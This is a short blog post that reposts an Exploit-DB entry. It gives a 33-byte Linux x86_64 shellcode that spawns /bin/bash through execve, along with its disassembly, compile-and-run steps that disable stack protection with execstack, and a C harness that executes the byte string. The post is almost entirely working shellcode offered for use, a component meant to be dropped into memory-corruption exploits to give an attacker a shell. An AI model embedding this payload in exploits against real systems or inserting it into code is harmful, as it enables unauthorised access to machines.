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Monday 28 March 2016

Ajith KP

Linux/x86_x64 - execve(/bin/bash) - 33 bytes

Hi GuyZ,
     You can find it from: https://www.exploit-db.com/exploits/39625/


Source Code

/*
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Linux/x86_x64 - execve(/bin/bash) - 33 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

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Disassembly of section .text:

0000000000400080 <.text>:
  400080: eb 0b                 jmp    0x40008d
  400082: 5f                    pop    rdi
  400083: 48 31 d2              xor    rdx,rdx
  400086: 52                    push   rdx
  400087: 5e                    pop    rsi
  400088: 6a 3b                 push   0x3b
  40008a: 58                    pop    rax
  40008b: 0f 05                 syscall
  40008d: e8 f0 ff ff ff        call   0x400082
  400092: 2f                    (bad)
  400093: 2f                    (bad)
  400094: 2f                    (bad)
  400095: 2f                    (bad)
  400096: 62                    (bad)
  400097: 69 6e 2f 2f 2f 2f 2f  imul   ebp,DWORD PTR [rsi+0x2f],0x2f2f2f2f
  40009e: 62                    .byte 0x62
  40009f: 61                    (bad)
  4000a0: 73 68                 jae    0x40010a
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o bash_shell bash_shell.c
$ execstack -s bash_shell
$ ./bash_shell

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*/
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}